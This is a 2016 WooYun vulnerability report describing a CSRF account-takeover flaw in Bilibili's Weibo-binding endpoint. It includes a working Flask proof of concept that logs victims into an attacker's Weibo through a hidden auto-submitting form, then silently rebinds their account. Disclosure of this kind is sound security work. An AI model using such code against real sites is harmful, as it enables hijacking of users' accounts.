当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0169000

漏洞标题:点我的链接我就可能会进入你的B站账号

相关厂商:bilibili.com

漏洞作者: zhchbin

提交时间:2016-01-11 10:26

修复时间:2016-02-22 16:48

公开时间:2016-02-22 16:48

漏洞类型:CSRF

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-11: 细节已通知厂商并且等待厂商处理中
2016-01-11: 厂商已经确认,细节仅向厂商公开
2016-01-21: 细节向核心白帽子及相关领域专家公开
2016-01-31: 细节向普通白帽子公开
2016-02-10: 细节向实习白帽子公开
2016-02-22: 细节向公众公开

简要描述:

感谢@呆子不开口!思路好赞的!我来写个详细点的利用过程。

详细说明:

在B站上,用户是允许绑定微博登陆的,然而绑定的接口是可以CSRF的,也就是说当用户登录后,点击我的链接,我就可以调用该接口完成绑定,绑定后就可以用我使用的微博进行登录了。具体接口如下:

https://account.bilibili.com/login?sns=weibo


问题的关键点在于此接口的CSRF,而另外一个难题就是如何在用户的浏览器上登录我的微博了。
0x01 注册一个微博,然后用微博授权给bilibili。要先授权的原因是在伟哥的漏洞中已经提到过,这里引用并修改一下:“新浪微博的授权有如下特点,如果当前登陆的微博曾经授权过bilibili,那么就会自动绑定成功”
0x02 用一个隐藏的iframe在用户的浏览器上登录我们指定的微博。这里使用到的接口有个问题需要注意,就是请求参数中password_4555和vk=4555_a3b5_1907935541,这两个参数是在http://login.weibo.cn/中生成的,有一定的时效性,后端会校验是否合法,因此我们需要动态生成登录的表单。我写了一个简单的flask接口,在服务端请求后提取出来生成表单,然后前端自动提交即可完成登录。

POST /login/ HTTP/1.1
Host: login.weibo.cn
Content-Type: application/x-www-form-urlencoded
mobile=weibo_username&password_4555=weibo_password&remember=on&backURL=http%253A%252F%252Fweibo.cn%252F&backTitle=%E5%BE%AE%E5%8D%9A&tryCount=&vk=4555_a3b5_1907935541&submit=%E7%99%BB%E5%BD%95


0x03 登录微博后前端就可以用Image加载指定的URL,完成绑定了。如果用户先绑定了微博,需要先解绑,然后再绑定,具体过程看漏洞证明中的代码。
0x04 用户访问完以上的页面后,我们就可以利用上面的微博账号登录到用户的bilibili账号了。

漏洞证明:

我直接给出我写个一个flask程序,依赖flask和beautifulsoup,就不在我自己的主机上搭测试环境了。

$ pip install flask beautifulsoup && python server.py


server.py,自己改一下weibo_username和weibo_password吧。

# -*- coding: utf-8 -*-
import requests
import re
from flask import Flask
from BeautifulSoup import BeautifulSoup
app = Flask(__name__)
login_weibo_form = u'''
<form action="http://login.weibo.cn/login/" method="post">
<input type="text" name="mobile" value="weibo_username"/>
<input type="text" name="%s" value="weibo_password"/>
<input type="text" name="remember" value="on"/>
<input type="text" name="backURL" value="http://weibo.cn/"/>
<input type="text" name="backTitle" value="微博"/>
<input type="text" name="tryCount" value=""/>
<input type="text" name="vk" value="%s"/>
<input type="submit" name="submit" value="登录" id="submit_btn"/>
<script> document.getElementById('submit_btn').click(); </script>
</form>
'''
@app.route('/login_weibo', methods=['GET'])
def login_weibo():
res = requests.get('http://login.weibo.cn/login/')
soup = BeautifulSoup(res.text)
password_name = soup.find('input', type='password')['name']
vk_value = soup.find('input', {'name': 'vk'})['value']
return login_weibo_form % (password_name, vk_value)
csrf_bind_weibo = '''
<iframe src="/login_weibo" sandbox="allow-forms allow-scripts"></iframe>
<script>
function unbind() {
var img = new Image();
img.src = "https://account.bilibili.com/site/unbind?sns=weibo";
}
function bind() {
var img = new Image();
img.src = 'https://account.bilibili.com/login?sns=weibo';
}
setTimeout(function() {
unbind();
setTimeout(function() {
bind();
}, 1000);
}, 2000);
</script>
'''
@app.route('/', methods=['GET'])
def steal_bilibili():
return csrf_bind_weibo
if __name__ == '__main__':
app.run(host="0.0.0.0", port=80, debug=True)


运行后访问页面,你就会发现:

20160110212719.png


20160110212855.png

修复方案:

修复绑定接口的CSRF。

版权声明:转载请注明来源 zhchbin@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2016-01-11 20:08

厂商回复:

谢谢

最新状态:

暂无